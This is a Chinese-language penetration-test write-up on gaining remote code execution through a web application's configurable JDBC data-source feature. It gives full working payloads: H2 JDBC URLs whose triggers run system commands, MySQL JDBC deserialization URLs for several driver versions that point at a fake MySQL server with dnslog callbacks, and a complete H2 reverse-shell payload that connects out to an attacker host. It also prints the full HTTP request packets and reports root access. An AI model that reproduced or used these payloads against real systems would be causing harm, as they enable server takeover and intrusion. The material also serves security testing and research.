背景:
在一次测试客户系统中发现其存在各种数据库连接可控点,从而尝试不同数据库的JDBC反序列化RCE 使用到的工具:Java chains,MySQL_Fake_Server,Ysoserial
先是发现系统中功能点存在添加数据源:
此处可以选不同数据库,此处选择H2
使用Java chains生成H2的payload:
payload:
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS \$\$//javascript java.lang.Runtime.getRuntime().exec(\'cmd /c calc\');
将calc换成ping命令测试连接:
成功执行命令RCE
数据包:
POST /xxx/xx/xxxx-xxxxxxxx/xxxx HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 439 Authorization: xxxxxxxx Accept-Language: zh-CN Accept: application/json, text/plain, \*/\* Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0 Accept-Encoding: gzip, deflate, br Connection: close {\"name\":\"jdbc-data-provider\",\"type\":\"JDBC\",\"properties\":{\"dbType\":\"H2\",\"url\":\"jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell123 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS \$\$//javascript java.lang.Runtime.getRuntime().exec(\'ping 4i74mk.dnslog.cn\');\",\"user\":\"test\",\"password\":\"test\",\"driverClass\":\"org.h2.Driver\",\"serverAggregate\":false,\"enableSpecialSQL\":false,\"enableSyncSchemas\":true,\"syncInterval\":\"60\",\"properties\":{}}}
继续测试其他数据库,尝试mysql的jdbc反序列化:
服务器启动fake-mysql-cli
测试对方版本:
参考链接:
https://github.com/sherwin-win/MySQL_Fake_Server
8.x: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc 6.x: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc 5.1.11及以上的5.x版本: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
User处写对应的dnslog:
deser_URLDNS_http://8758b0eb03.ipv6.1433.eu.org .
上面几个版本的payload进行Fuzz测试:
数据包:
POST /xxx/xx/xxxx-xxxxxxxx/xxxx HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 445 Authorization: xxxxxxxx Accept-Language: zh-CN Accept: application/json, text/plain, \*/\* Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0 Accept-Encoding: gzip, deflate, br Connection: close {\"name\":\"jdbc-data-provider\",\"type\":\"JDBC\",\"properties\":{\"dbType\":\"MYSQL\",\"url\":\"jdbc:mysql://xxx.xxx.xxx.xxx:8888/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"user\":\"deser_URLDNS_http://8758b0eb03.ipv6.1433.eu.org.\",\"password\":\"321\",\"driverClass\":\"com.mysql.cj.jdbc.Driver\",\"serverAggregate\":false,\"enableSpecialSQL\":false,\"enableSyncSchemas\":true,\"syncInterval\":\"60\",\"properties\":{}}}
此前了解到有fastjson依赖,尝试打fastjson链:
生成后复制保存到test.txt中
再次启动,使用-f参数指定test.txt:
User处换成deser_CUSTOM发送
这里报错了,换一个工具:
发送payload后服务器回显:
依然报错(不知道哪出问题了,放弃分析)
回到H2打反弹shell
Payload:
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS REV_SHELL AS \'void rev_shell(String host, String port) throws java.lang.Exception {String shell=System.getProperty(\"os.name\").toLowerCase().contains(\"win\")?\"cmd\":\"sh\"\\;Process p=new ProcessBuilder(shell).redirectErrorStream(true).start()\\;java.net.Socket s=new java.net.Socket(host,Integer.valueOf(port))\\;java.io.InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream()\\;java.io.OutputStream po=p.getOutputStream(),so=s.getOutputStream()\\;while(!s.isClosed()){while(pi.available()\>0){so.write(pi.read())\\;}while(pe.available()\>0){so.write(pe.read())\\;}while(si.available()\>0){po.write(si.read())\\;}so.flush()\\;po.flush()\\;Thread.sleep(50)\\;try{p.exitValue()\\;break\\;}catch(Exception e){}}p.destroy()\\;s.close()\\;}\'\\;CALL REV_SHELL (\'127.0.0.1\', \'9999\')\\;
服务器接收到反弹shell
执行whomai为root权限
数据包:
POST /xxx/xx/xxxx-xxxxxxxx/xxxx HTTP/1.1 Host: xxx.xxx.xxx.xxxx Content-Length: 1118 Authorization: xxxxxxxx Accept: application/json, text/plain, \*/\* Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0 Accept-Encoding: gzip, deflate, br Connection: close {\"name\":\"jdbc-data-provider\",\"type\":\"JDBC\",\"properties\":{\"dbType\":\"H2\",\"url\":\"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS REV_SHELL AS \'void rev_shell(String host, String port) throws java.lang.Exception {String shell=System.getProperty(\\\"os.name\\\").toLowerCase().contains(\\\"win\\\")?\\\"cmd\\\":\\\"sh\\\"\\\\;Process p=new ProcessBuilder(shell).redirectErrorStream(true).start()\\\\;java.net.Socket s=new java.net.Socket(host,Integer.valueOf(port))\\\\;java.io.InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream()\\\\;java.io.OutputStream po=p.getOutputStream(),so=s.getOutputStream()\\\\;while(!s.isClosed()){while(pi.available()\>0){so.write(pi.read())\\\\;}while(pe.available()\>0){so.write(pe.read())\\\\;}while(si.available()\>0){po.write(si.read())\\\\;}so.flush()\\\\;po.flush()\\\\;Thread.sleep(50)\\\\;try{p.exitValue()\\\\;break\\\\;}catch(Exception e){}}p.destroy()\\\\;s.close()\\\\;}\'\\\\;CALL REV_SHELL (\'xxx.xxx.xxx.xxx\', \'8888\')\\\\;\",\"user\":\"123\",\"password\":\"321\",\"driverClass\":\"org.h2.Driver\",\"serverAggregate\":false,\"enableSpecialSQL\":false,\"enableSyncSchemas\":true,\"syncInterval\":\"60\",\"properties\":{}}}